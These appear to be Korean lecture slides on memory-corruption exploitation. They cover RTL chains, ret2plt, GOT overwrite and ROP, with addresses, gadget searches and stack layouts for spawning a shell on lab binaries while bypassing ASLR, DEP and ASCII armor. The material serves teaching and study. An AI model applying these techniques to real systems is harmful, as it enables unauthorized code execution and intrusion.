  • 97. RTL CHAIN • RTL chain • 기존의 RTL은 하나의 함수만 이용 가능했다. 그 점을 보완하여, 여러 함수를 연속적으로 호출할 수 있도록 연결한 것 • RTL을 이어 여러 함수를 실행할 수 있도록 함 • 함수 주소 아래 넣던 쓰레기 값 대신 "RET" 코드가 있는 주소를 넣어준다 • 함수 호출 규약에 따라 "POP POP RET" 이나 "POP RET" 패턴이 필요한 경우도 있음 • caller쪽에서 스택을 정리하는 경우 • 스택을 조정하는 명령어+RET 조합의 코드를 찾아 &RET에 넣어 ESP를 잘 조절해 이용 • 함수 인자 아래에는 다음에 실행할 함수의 주소와 "RET" 코드 주소, 그리고 함수 인자를 넣는다. • 이렇게 실행하고 싶은 함수들을 체인처럼 엮어 RTL chain이라고 함 ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C <스택 BOF 후 스택>
  • 98. RTL CHAIN ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP push ebp mov ebp, esp sub esp, 0xC8 ...코드... mov esp, ebp pop ebp ret [일반적인 함수] ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP RET 코드 실행 : 함수 1 주소로 가서 함수1을 실행한다.
  • 99. RTL CHAIN ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP ...코드... mov esp, ebp pop ebp ret 8 [라이브러리 함수] ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP 함수1 에필로그 RET 8 코드 실행 : ESP에 저장된 값을 EIP에 POP하고, 함수1의 인자를 위해 이용한 스택 8바이트를 정리한다
  • 100. RTL CHAIN ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP ...코드... ret [&ret] ...더미 데이터... EBP backup 함수1 주소 &RET 함수1 인자 함수 2 주소 &RET 함수 2 인자 ... ESP RET 실행 : ret 코드가 있는 주소로 왔으니, ret 코드를 실행하게 된다. 함수2의 주소로 가 함수2를 실행한다.
  • 101. RTL CHAIN – 실습 – LINUX • read함수와 system 함수, 그리고 exit함수를 이용할 것 • ssize_t read (int fd, void *buf, size_t len) • read(STDIN, 원하는 주소, 길이) • 원하는 주소에 stdin 입력 값을 넣는다. (0으로 정의되어 있음) • STDIN 입력으로 /bin/sh 문자열을 넣을 것임 • 길이는 NULL까지 해서 8 바이트 • int system(const char * string) • system(read함수에 넣었던 주소) • read함수의 결과값을 저장한 주소에는 /bin/sh 문자열이 있을 것 • void exit(int status) • status는 그냥 1으로 했음 • 같은 방법으로, 주소를 알아 냄 • read 함수 주소 : 0xf7ed6af0 • system 함수 주소 : 0xf7e3bda0 • exit 함수 주소 : 0xf7e2f9d0
  • 102. RTL CHAIN – 실습 – LINUX • read함수와 system 함수의 인자로 줄 주소를 정해야 함 • read 함수를 이용해 STDIN에서 읽은 데이터를 저장할 것 • -> write 권한이 있어야 함 • system 함수를 이용해 주소에 저장된 내용을 읽을 수 있어야 함 • -> read 권한이 있어야 함 • 또한 주소는 변경되지 않아야 함 • 스택보다는 data, bss, dynamic 섹션이 좋음 • readelf를 이용하여 적절한 주소를 정한다.
  • 103. RTL CHAIN – 실습 – LINUX • bss 의 시작주소 0x0804a020를 쓰기로 함 • (bss 크기가 4밖에 안 되고, bss가 Load 세그먼트의 끝에 있으며, 메모리 사이즈도 계산해 보 면 bss의 끝인 것 같지만, segment의 alignment가 있어서 빈자리는 충분하다) bss 섹션이 속한 세그먼트
  • 104. RTL CHAIN – 실습 – LINUX • 이 함수들은 모두 cdecl 함수 호출 규약에 따르고 있다 • 함수 인자 스택을 호출자가 정리해 주어야 함 • 단순히 RET의 주소는 이용 불가 • 함수 인자 push 순서는 오른쪽부터 (오른쪽에 있는 게 더 높은 주소) • read 함수 : 4바이트 인자 3개 • -> POP/POP/POP/RET이나 RET C, 또는 ADD ESP, C/RET 등의 패턴이 필요 • system 함수 : 4바이트 인자 1 개 • -> POP/RET이나 RET 4, 또는 ADD ESP, 4/RET 등의 패턴이 필요 • exit 함수 : 별로 상관 없음 • objdump와 grep을 이용하여 이에 해당하는 패턴을 찾음 • read 함수를 위한 POP/POP/POP/RET 패턴은 0x8048509에 있음 • system 함수를 위한 POP/RET 패턴은 0x8048526에 있음
  • 105. RTL CHAIN – 실습 – LINUX • read 함수 주소 : 0xf7ed6af0 • pop/pop/pop/ret : 0x08048509 • read 인자 – STDIN : 0x00000000 • read 인자 – 버퍼 주소 : 0x0804a020 • read 인자 – len : 0x00000008 • system 함수 주소 : 0xf7e3bda0 • pop/ret : 0x08048526 • system 인자 – 버퍼 주소 : 0x0804a020 • exit 함수 주소 : 0xf7e2f9d0 • exit 인자 - status : 0x00000001 ...더미 데이터... EBP backup read 주소 &PPPR STDIN &bss len system 주소 &PR &bss exit 주소 쓰레기값 1 ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28 EBP + 2C
  • 106. RTL CHAIN – 실습 – LINUX • Exploit • 실제로 사용해 보면 말썽인 부분이 있다 • buffer 주소로 이용한 bss 시작 주소에 x20은 space의 아스키코드에 해당한다. 따라서 그보다 4 높은 주소에 넣었다. • POP/POP/POP/RET 코드의 주소에 x09는 제어문자에 해당하여 scanf로 입력되지 않는다. • ->뒷 페이지에서 찾은 것 설명 • 코드에 exit 뒤에 쓰레기 값을 넣는 것을 깜박했지만, 딱히 상관은 없음.. + "A"*4
  • 107. RTL CHAIN – 실습 – LINUX • POP/POP/POP/RET 코드의 주소에 x09는 제어문자에 해당하여 scanf로 입력되지 않는다. • 기존에 뽑은 위치의 위쪽 명령어를 하나 더 뽑아봤는데, 위에도 pop이 있어 쓸 수 없겠다. • POP/RET 코드로 이용했던 코드에서, POP 코드 바로 위에 add esp, 0x8 코드가 있다 • POP/POP/POP/RET 과 똑같은 효과를 낸다! • -> PPPR 주소로는 0x08048523을 이용한다.
  • 108. RTL CHAIN – 실습 – LINUX • Exploit 후 STDIN으로 /bin/sh을 입력한다. • 그 후 명령어를 입력하면 정상 작동 • exit 함수도 넣었기 때문에 종료도 정상적으로 이뤄진다.
  • 109. RTL CHAIN – 실습 – WINDOWS • win API는 stdcall 함수 호출 규약을 이용한다 • callee가 스택 정리 • 일반적으로 RET 코드를 이용 • 또는 원하는 값을 저장하고 이용한 뒤 스택 조정 코드를 통해 정리해도 OK • WinExec를 호출하고, 이어서 ExitProcess를 호출하도록 하겠음
  • 110. RTL CHAIN – 실습 – WINDOWS • 앞에서 사용한 셸 코드를 재활용하기 위해 "cmd"문자열 위치를 그대로 두 었음 • 문자열 자체는 함수 인자에 들어가지 않으므로, WinExec 함수의 에필로그에서 스택이 정리되 지 않음 • -> POP RET 패턴의 코드를 return address로 이용하여 정리할 것 • ExitProcess 함수는 return할 주소가 필요 없기 때문에 쓰레기 값을 넣었음 ...더미 데이터... EBP backup WinExec 주소 &PR "cmd" 문자열 주소 5 0 d m c ExitProcess 주소 쓰레기값 1 ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20
  • 111. RTL CHAIN – 실습 – WINDOWS • POP/RET 패턴 찾기 • immunity debugger의 search 모듈을 이용하여 찾을 수 있다. • !search pop r32nret 명령어 이용 • EXE에 속한 0x00401022 주소를 이용하기로 하자
  • 112. RTL CHAIN – 실습 – WINDOWS • Exploit • 더이상 에러 메시지가 뜨지 않음!
  • 113. RET2PLT (LINUX) • 개념 • 실습 – Linux
  • 114. RET2PLT (LINUX) • Return to PLT • 라이브러리 함수 주소를 이용할 수 없는 경우 -> PLT의 주소를 이용 • RTL에서, 라이브러리 주소 대신 PLT의 주소를 넣는다 • ASCII Armor와 ASLR을 우회하며 RTL을 적용하기 위한 방법 • ASCII Armor : 라이브러리를 낮은 주소에 넣어 주소에 0x00이 들어가게 하는 방어기법 • shellcode에 0x00이 들어가야 하는데, 보통 문자열을 다루는 취약한 함수들은 0x00을 만나면 입력 받기를 끝내므로, shellcode가 제대로 입력되지 않아 공격에 실패하게 된다 • 주의 • 이 방법을 이용하기 위해서는 원본 프로그램이 해당 함수를 이용하여 실행 파일에 PLT가 잡혀 있어야 한다.
  • 115. RET2PLT (LINUX) – 실습 • 취약 프로그램 • system함수와 exit 함수의 PLT를 잡아 주기 위해 예제를 변경했음 • 컴파일 설정에서 –z execstack을 없애어 DEP 설정 • OS 설정으로 ASLR 켬
  • 116. RET2PLT (LINUX) – 실습 • 계획 • RET2PLT로 scanf 호출 • ASLR이 적용되지 않는, ELF 실행 파일의 영역에 /bin/sh 문자열 저장 • 다음 RET2PLT로 system 호출 • 위에서 이용한 버퍼 주소를 인자로 하여 실행 • -> RET chain과 같음(PLT를 이용한다는 점만 다름) • 스택 정리 코드 필요 • 다음 RET2PLT로 exit 호출 • 스택 구조 • 지역변수로 200바이트 크기의 배열을 이용 • 쓰던 예제들과 같음. • scanf를 호출할 때, 포맷 스트링 "%s"가 필요 • 이 문자열은 코드상에서 이용한다. 데이터 영역에 있으므로 주소 고정 • 코드에서 찾아보면 0x08048550 임을 알 수 있음
  • 117. RET2PLT (LINUX) – 실습 • gdb에서 info functions를 이용해 간단히 plt의 주소를 알아낸다 • system의 PLT 주소 : 0x08048340 • exit의 PLT 주소 : 0x08048350 • scanf의 PLT 주소 : 0x08048370
  • 118. RET2PLT (LINUX) – 실습 • 문자열을 저장할 만한 위치 잡 기 • bss 영역에 저장하기로 함 • 버퍼 주소 : 0x0804a028
  • 119. RET2PLT (LINUX) – 실습 • scanf는 인자의 개수가 유동적이므로, 인자 수에 따라 스택을 정리 • %s 문자열 주소를 찾아서 인자로 넣음, 그리고 입력 값을 저장할 주소를 넣음 • -> 8바이트 정리해야 함 : pop/pop/ret 패턴 필요 • system은 포인터를 인자로 받음 • -> 4바이트 정리해야 함 : pop/ret 패턴 필요 • POP/POP/RET 패턴 주소 • 0x0804852a • POP/RET 패턴 주소 • 0x08048546
  • 120. RET2PLT (LINUX) – 실습 • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 : 0x0804852a • 포맷 스트링 주소 : 0x08048550 • bss 버퍼 주소 : 0x0804a028 • system의 PLT 주소 : 0x08048340 • PR 패턴 주소 : 0x08048546 • bss 버퍼 주소 : 0x0804a028 • exit의 PLT 주소 : 0x08048350 ...더미 데이터... EBP backup scanf PLT주소 &PPR &포맷 스트링 &bss system PLT 주소 &PR &bss exit PLT 주소 쓰레기값 1 ... EBP EBP - C8 EBP + 4 EBP - C4 . . . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28
  • 121. RET2PLT (LINUX) – 실습 • exploit • ASLR, DEP, ASCII armor 돌파! + "A"*4
  • 123. • Return To Dynamic Linker • 동적 라이브러리 링킹에 이용되는 동적 링커를 이용한다 • 동적 링커는 호출하고자 하는 함수의 주소를 찾아서 GOT에 적어주는 일을 함
  • 124. GOT OVERWRITE (LINUX) • 실습 – Linux
  • 125. GOT OVERWRITE (LINUX) • GOT를 조작하여 실제 함수와 다른 함수가 호출되도록 함 • GOT를 조작한 뒤, 조작한 함수를 ret2plt 하면 조작된 GOT를 이용하여 함수를 호출함 • GOT overwrite 하나만으로는 방어기법을 우회할 수 없으므로, 방어기법을 전부 끄고 실습할 것 • 뒤에서 공부할 ROP에서 유용하게 이용 됨 • ROP에서 GOT overwrite를 이용하여 방어기법을 우회하는 법을 살펴볼 것 • 먼저 GOT overwrite를 이해하기 위해 방어기법을 끄고 실습한다
  • 126. GOT OVERWRITE (LINUX) – 실습 • 취약 프로그램 • 원래 이용하던 프로그램에 exit 코드 추가했음 • exit 함수도 GOT overwrite를 이용하여 호출할 수 있지만, 귀찮아서 그냥 ret2plt로 처리하려고 추가했음 • 굳이 전역변수로 exit함수가 무조건적으로 불리지 않게 한 것은 main함수 에필로그를 남겨놓고 싶어서 이다 • 그냥 exit 함수를 호출하면 컴파일러가 에필로그를 안 써줄 수도 있음 • ret2plt를 응용하여 GOT overwrite 하겠음 • scanf를 이용하여 printf의 GOT에 system 함수의 주소를 저장 • printf를 호출하면 system 함수가 호출됨
  • 127. GOT OVERWRITE (LINUX) – 실습 • 필요한 것 • scanf의 PLT 주소 • PPR 패턴 주소 • 포맷 스트링 주소 • printf의 GOT 주소 • bss 버퍼 주소 • printf의 PLT 주소 • PR 패턴 주소 • exit의 PLT 주소 ...더미 데이터... EBP backup scanf PLT 주소 &PPR &포맷 스트링 printf GOT 주소 scanf PLT 주소 &PPR &포맷 스트링 &bss printf PLT 주소 &PR &bss exit PLT 주소 쓰레기값 1 ... EBP EBP - C8 EBP + 4 . . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28 EBP + 2C EBP + 30 EBP + 34
  • 128. GOT OVERWRITE (LINUX) – 실습 • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 • 포맷 스트링 주소 : 0x0804856e • printf의 GOT 주소 • bss 버퍼 주소 • printf의 PLT 주소 : 0x08048340 • PR 패턴 주소 • exit의 PLT 주소 : 0x08048350
  • 129. GOT OVERWRITE (LINUX) – 실습 • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 : 0x0804853a • 포맷 스트링 주소 : 0x0804856e • printf의 GOT 주소 • bss 버퍼 주소 : 0x0804a028 • printf의 PLT 주소 : 0x08048340 • PR 패턴 주소 : 0x08048556 • exit의 PLT 주소 : 0x08048350
  • 130. GOT OVERWRITE (LINUX) – 실습 • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 : 0x0804853a • 포맷 스트링 주소 : 0x0804856e • printf의 GOT 주소 : 0x0804a00C • bss 버퍼 주소 : 0x0804a028 • printf의 PLT 주소 : 0x08048340 • PR 패턴 주소 : 0x08048556 • exit의 PLT 주소 : 0x08048350 • GOT 주소 찾기 • objdump로 디스어셈블, 찾고자 하는 함수 이름으로 grep • PLT에서 참조하여 점프하는 곳이 GOT이다.
  • 131. GOT OVERWRITE (LINUX) – 실습 • scanf 입력 값으로 넣을 system 함수의 주소를 구한다 • ASLR을 끄고 구함 • 0xf7e3bda0
  • 132. GOT OVERWRITE (LINUX) – 실습 • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 : 0x0804853a • 포맷 스트링 주소 : 0x0804856e • printf의 GOT 주소 : 0x0804a00C • scanf의 PLT 주소 : 0x08048370 • PPR 패턴 주소 : 0x0804853a • 포맷 스트링 주소 : 0x0804856e • bss 버퍼 주소 : 0x0804a028 • printf의 PLT 주소 : 0x08048340 • PR 패턴 주소 : 0x08048556 • bss 버퍼 주소 : 0x0804a028 • exit의 PLT 주소 : 0x08048350 ...더미 데이터... EBP backup scanf PLT 주소 &PPR &포맷 스트링 printf GOT 주소 scanf PLT 주소 &PPR &포맷 스트링 &bss printf PLT 주소 &PR &bss exit PLT 주소 쓰레기값 1 ... EBP EBP - C8 EBP + 4 . . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28 EBP + 2C EBP + 30 EBP + 34
  • 133. GOT OVERWRITE (LINUX) – 실습 • exploit • scanf로 받기 때문에 입력 값 맨 뒤에 NULL 문자가 들어 감 • -> GOT와 같은 곳에 NULL이 들어가면 뒤에 있는 함수의 GOT를 망침 • NULL 문자가 바로 뒤에 있는 exit 함수의 GOT에 영향을 끼쳐서 문제가 일어났음 • GOT를 조작하고자 하는 함수의 뒤쪽 GOT를 이용하는 함수를 호출하지 않는다면 고려하지 않아도 되지만, 호출해야 한다면 잘 생각해야 함 • printf의 GOT 주소인 0x0804a00c에서 0x0c를 scanf에 넣을 수 없음 • 제어문자에 해당 • 0x0b, 0x0a, 0x09 역시 제어문자에 해당되기 때문에 0x08을 이용했다 • -> 0x0804a008를 GOT로 사용하는 함수를 호출해야 한다면, GOT를 망가뜨리면 안 됨 (대충 쓰레기 값을 넣으면 안 됨) • readelf로 읽어보면 0x0804a000이 GOT의 시작 주소임 • 즉, 0x0804a008는 GOT[2]에 해당 • GOT[2]에는 _dl_runtime_reslove 함수의 주소가 있다 : 아직 주소가 잡히지 않은 함수를 ret2plt로 호출하기 위해서는 이 영역을 보존해야 한다 • exit 함수는 호출한 적이 없기 때문에 이 함수를 호출할 필요가 있음
  • 134. GOT OVERWRITE (LINUX) – 실습 • exploit • 모든 것을 고려하여 exploit을 만들었음 • 디버거로 원래 어떤 값이 있었는지 찾아본 후 넣었음 • NULL로 인해 망가지지 않도록 함 • n를 이용하여 2번째 호출한 scanf 입력 값과 3번째 호출한 scanf의 입력 값을 분리 "A"*4 + arg_status
  • 135. RETURN ORIENTED PROGRAMMING (ROP) • 실습 – Linux – 1 • 실습 – Linux – 2 • 실습 – Linux – 3 • 실습 – Windows – 1 • 실습 – Windows – 2
  • 136. RETURN ORIENTED PROGRAMMING (ROP) • "해킹도 프로그래밍이다", "필요한 코드는 이미 프로그램 내에 있다" 라는 개념으로 접근 • 공격 또한 프로그래밍으로 하자 • 프로그램 내에 이미 있는 코드를 이용하여 프로그래밍 하자 • 종이에 이미 있는 글자들을 오려 편지를 쓰는 것과 유사 • RTL chain의 응용버전 • RTL chain에서 스택에 넣어둔 함수 주소와 &RET, 그리고 함수 인자를 이용하여 원하는 함수를 이어서 실행했다 • ROP에서는 가젯(Gadget)의 Chain을 만들어서 원하는 코드조각들을 실행한다 • 가젯 : RET로 끝나는 명령 조각들 • RET 앞의 몇 줄의 코드들을 연결하여 결론적으로 하나의 프로그램처럼 동작하도록 함 • 함수에 국한되지 않고, 원하는 코드를 뽑아내어 "Return 지향 프로그래밍"을 함 • 프로그램 위에서 프로그래밍 • 윈도우와 리눅스에서의 ROP 스타일이 약간 다름
  • 137. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • 취약 프로그램 • 기존의 printf와 scanf를 이용해도 가능하지만, 편리를 위해 write와 read 로 바꾸었음 • 컴파일 설정에서 –z execstack를 지워 DEP 활성화 • OS 설정에서 ASLR 설정
  • 138. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • RTL chain, RET2PLT, GOT overwrite 등을 응용 • read 취약점 이용하여 RTL chain 제작 • write에 RET2PLT -> 함수A의 GOT에 적힌 라이브러리 함수 A의 주소를 출력 • 얻은 함수A주소와 미리 구한 offset을 이용하여 system 함수와 exit함수 주소 구함 • read에 RET2PLT -> 함수B의 GOT에 system 함수의 주소를 저장 • read에 RET2PLT -> bss 영역에 "/bin/sh"문자열 저장 • read에 RET2PLT -> 함수C의 GOT에 exit 함수의 주소를 저장 • 함수B에 RET2PLT -> system 함수 실행! • 함수C에 RET2PLT -> exit 함수 실행! • GOT overwrite를 할 함수는 PLT, GOT가 잡혀 있는 함수이면 됨. • 함수 A와 B로는 write, 함수 C로는 __libc_start_main을 이용하기로 함 • ASLR이 걸린 상태에서 system과 exit 함수 주소를 어떻게 구하나? • 1) 익스플로잇 전에 system과 exit 함수와, 기준점이 될 함수 A와의 offset 차이를 구해 둔다. • 기준점이 될 함수는 GOT가 잡힌 함수인 편이 좋음 • 2) 익스플로잇 하여, 데이터를 읽어오는 함수를 호출해 함수 A의 주소를 얻는다. • 함수 A의 GOT에 적힌 주소를 읽음 • 3) 얻은 주소에 offset을 더하여 system함수 주소를 구한다. • 단, 이 방법은 공격 대상이 이용하는 라이브러리 버전을 알아야 한다. • offset 계산이 맞으려면 라이브러리 버전이 맞아야 함.
  • 139. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • 계획 • write에 RET2PLT -> write 의 GOT에 적힌 라이브러리 write 의 주소를 출력 • 얻은 write 주소와 미리 구한 offset을 이용하여 system 함수와 exit함수 주소 구함 • read에 RET2PLT -> write 의 GOT에 system 함수의 주소를 저장 • read에 RET2PLT -> bss 영역에 "/bin/sh"문자열 저장 • read에 RET2PLT -> __libc_start_main 의 GOT에 exit 함수의 주소를 저장 • write 에 RET2PLT -> system 함수 실행! • __libc_start_main에 RET2PLT -> exit 함수 실행! • 필요한 주소 • read 의 PLT 주소 • PPPR 패턴 주소 • write의 PLT 주소 • write의 GOT 주소 • bss 버퍼 주소 • PR 패턴 주소 • __libc_start_main 의 PLT 주소 • __libc_start_main 의 GOT 주소 ... EBP backup write PLT 주소 &PPPR 1 write GOT 주소 4 read PLT 주소 &PPPR 0 write GOT 주소 4 read PLT 주소 &PPPR 0 &bss 8 read PLT 주소 &PPPR 0 main GOT 주소 4 write PLT 주소 &PR &bss main PLT 주소 쓰레기 값 1 ... EBP EBP - C8 EBP + 4 . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28 EBP + 2C EBP + 30 EBP + 34 EBP + 38 EBP + 3C EBP + 40 EBP + 44 EBP + 48 EBP + 4C EBP + 50 EBP + 54 EBP + 58 EBP + 5C EBP + 60 EBP + 64 EBP + 68
  • 140. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • 기준점으로 이용할 write와 system 함수 주소와의 offset을 구함 • 라이브러리 파일을 직접 뜯어도 되지만, 간단하게 디버거를 이용하여 구했다. • write함수 주소 – 0x9ADD0 = system 함수 주소 • write함수 주소 – 0xA71A0 = exit 함수 주소 • read함수와 write함수는 12바이트의 인자를 받음 • POP/POP/POP/RET 패턴 필요 • objdump를 이용하여 주소 얻음 : 0x080484d9 • system 함수는 4바이트의 인자를 받음 • POP/RET 패턴 필요 • objdump를 이용하여 주소 얻음 : 0x080484db
  • 141. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • 필요한 주소 • read 의 PLT 주소 : 0x08048300 • PPPR 패턴 주소 : 0x080484d9 • write의 PLT 주소 : 0x08048320 • write의 GOT 주소 : 0x0804a014 • bss 버퍼 주소 : 0x0804a020 • PR 패턴 주소 : 0x080484db • __libc_start_main 의 PLT 주소 : 0x08048310 • __libc_start_main 의 GOT 주소 : 0x0804a010
  • 142. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 1 • Exploit • 참고로 read 함수는 문자열을 읽는 함수가 아니라 인자로 준 바이트 수 만큼을 읽어 들이는 함수이다. • 제어문자, NULL 문자 상관 무! • 버퍼의 내용이 바이트 수보다 적을 경우 버퍼의 끝까지만 읽는다. • 바이트 수를 맞추기 위해 쓰레기 값을 넣을 필 요는 없음. • 숫자 인자를 더 간단하게 붙이고, 파이프를 간편 히 이용하기 위해 pwntool 라이브러리를 이용했음 • process 함수를 이용해 프로세스 실행 • send 함수를 이용해 STDIN으로 입력 값 넣음 • recv 함수를 이용해 STDOUT 출력 값 받음 • recv를 이용해 출력한 write 함수의 주소를 받고, 미리 구한 offset을 이용해 실제 주소를 계산하여 다시 입력 값으로 넣는 것에 주목한다.
  • 143. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • 다른 방법을 이용하여 offset 계산을 해 보자 • pop 특정 레지스터 가젯과 연산 가젯을 이용 • Ex) • 오른쪽과 같은 가젯을 찾아 연결할 수 있다. • pop eax와 pop ebx코드에 의해 eax와 ebx의 내용으로 들어갈 스택 위치에 적절한 숫자를 넣어 둔다 • 예를 들어 eax에는 조작할 GOT주소를, ebx에는 그 함수와 system 함수의 offset을 넣어 둠 • sub dword ptr [eax], ebx 가젯을 통해 GOT에 offset만큼을 계산한 값을 저장하게 됨 • RET2PLT로 함수를 호출하면 조작된 GOT를 이용해 함수를 호출하게 됨 • 좀 더 자유롭게 ROP하여 exploit 하는 예제를 만들어 보았음 pop eax ret pop ebx ret sub dword ptr [eax], ebx ret
  • 144. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • 취약 프로그램 • 코드가 너무 짧아서 원하는 패턴을 찾기 어려워 임의로 추가했음 • 쉬운 이해를 위해 간단히 생각할 수 있는 패턴을 이용하기 위함 • 프로그램이 커지면 여러 코드 패턴이 나온다. • 이런 비슷한 패턴을 찾아 이용할 수 있음 • 원리만 이해하면 다른 모양의 패턴을 적용할 수 있다 • 컴파일 설정에서 –z execstack를 지워 DEP 활성화 • OS 설정에서 ASLR 설정
  • 145. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • ROPEME (ROP Exploit Made Easy) • ROPEME 툴을 이용하면 ROP 가젯을 쉽게 찾을 수 있다. • ROP 가젯을 찾아주는 툴이다. • ROPEME 명령어 • generate 파일경로 숫자 • 파일에서 가젯을 찾음 (ret으로 끝나는 명령어들) • 다른 작업을 하기 전 먼저 generate를 해야 함 • 주어진 숫자 길이를 가젯 최대 길이로 함. 숫자를 안 붙일 경우 디폴트로 3으로 설정 됨 • ex) generate /home/dir/a.out 4
  • 146. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • ROPEME (ROP Exploit Made Easy) • ROPEME 명령어 • search • generate한 가젯에서 원하는 가젯을 찾음. • 인자로 %와 ?, -를 줄 수 있음 • search 명령어 % • 해당 명령어로 시작하는 가젯을 찾음 • ex) search mov eax % • mov eax, X 로 시작하는 가젯을 찾음 • search 명령어 ? • 명령어를 포함하는 모든 가젯을 찾음 • (사실 잘 모르겠음... 결과가 잘 안 나옴..) • ex) search mov eax ? • search 명령어 %또는? –명령어 • - 뒤의 명령어가 제외된 가젯을 찾음 • ex) search add % -leave • leave 명령어가 포함되지 않은 가젯을 찾음
  • 147. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • ROPEME (ROP Exploit Made Easy) • ROPEME를 이용하여 쓸만한 add 가젯과 pop 가젯을 찾았다. • pop edi 코드에는 불필요한 pop ebp가 있음. 따라서 pop ebp로 가져갈 쓰레기값 을 넣어주어야 함 • 계획 • POP EBX로 EBX에 "write함수의 GOT주소-0x1234" 값을 넣는다. • POP EDI로 EDI에 system함수 주소-write함수 주소 계산을 통해 나온 offset을 넣는 다. • system 함수의 주소가 더 낮은데, add 연산으로 offset을 계산하기 때문 • 음수를 더해서 offset을 맞춰 주기 위함 • ADD [EBX + 0x1234], EDI 코드를 통해 write 함수의 GOT에 system 함수의 주소가 적히게 된다. • 같은 방식으로, __libc_start_main 함수의 GOT에는 exit함수의 주소를 넣는다. • 앞과는 다르게 __libc_start_main의 주소에 직접 계산하는 것이므로, __libc_start_main함수와 exit 함수의 offset도 구해야 함
  • 148. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • 계획 • pop ebx 가젯 - write함수의 GOT주소-0x1234 값을 ebx에 넣음 • pop edi 가젯 - "system함수 – write함수" offset을edi에 넣음 • add [ebx + 0x1234], edi 가젯 – write의 GOT 값을 system함수의 주소로 변경 • pop ebx 가젯 - __libc_start_main함수의 GOT주소 – 0x1234 값을 ebx에 넣음 • pop edi 가젯 - "exit 함수 - __libc_start_main 함수" offset을 edi에 넣음 • add [ebx + 0x1234], edi 가젯 - __libc_start_main함수의 GOT 값을 exit함수의 주소로 변경 • RET2PLT로 read 호출 – bss영역에 /bin/sh 문자열 저장 • RET2PLT로 write 호출 – system 함수 호출 • RET2PLT로 __libc_start_main 호출 – exit 함수 호출 • 필요한 주소 • read 의 PLT 주소 • PPPR 패턴 주소 • write의 PLT 주소 • write의 GOT 주소 • bss 버퍼 주소 • PR 패턴 주소 • __libc_start_main 의 PLT 주소 • __libc_start_main 의 GOT 주소 • pop ebx 가젯 주소 • pop edi 가젯 주소 • add 가젯 주소 ... EBP backup &pop ebx 가젯 write GOT 주소 – 0x1234 &pop edi 가젯 system 함수 offset 쓰레기 값 &add 가젯 &pop ebx 가젯 main GOT 주소 – 0x1234 &pop edi 가젯 exit 함수 offset 쓰레기 값 &add 가젯 read PLT 주소 &PPPR 0 &bss 8 write PLT 주소 &PR &bss main PLT 주소 쓰레기 값 1 ... EBP EBP - C8 EBP + 4 . . . . EBP + 8 EBP + C EBP + 10 EBP + 14 EBP + 18 EBP + 1C EBP + 20 EBP + 24 EBP + 28 EBP + 2C EBP + 30 EBP + 34 EBP + 38 EBP + 3C EBP + 40 EBP + 44 EBP + 48 EBP + 4C EBP + 50 EBP + 54 EBP + 58 EBP + 5C
  • 149. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • 필요한 주소 : 이전 것은 앞과 같음 • read 의 PLT 주소 : 0x08048300 • PPPR 패턴 주소 : 0x080484d9 • write의 PLT 주소 : 0x08048320 • write의 GOT 주소 : 0x0804a014 • bss 버퍼 주소 : 0x0804a020 • PR 패턴 주소 : 0x080484db • __libc_start_main 의 PLT 주소 : 0x08048310 • __libc_start_main 의 GOT 주소 : 0x0804a010 • pop ebx 가젯 주소 : 0x080484F6 • pop edi 가젯 주소 : 0x080484DA • add 가젯 주소 : 0x0804846F • offset • system – write = 0xFFF65230 • 기존 GOT 내용인 write의 주소가 system보다 크기 때문에, add를 이용한 offset계산을 위해서 offset은 system – write이 됨. • __libc_start_main – exit = 0x00016490 • 기존 GOT 내용인 __libc_start_main의 주소가 exit 주소보다 작기 때문에, add를 이용한 offset계산을 위해서의 offset은 exit – __libc_start_main 이 됨.
  • 150. RETURN ORIENTED PROGRAMMING (ROP) – 실습 – LINUX – 2 • Exploit
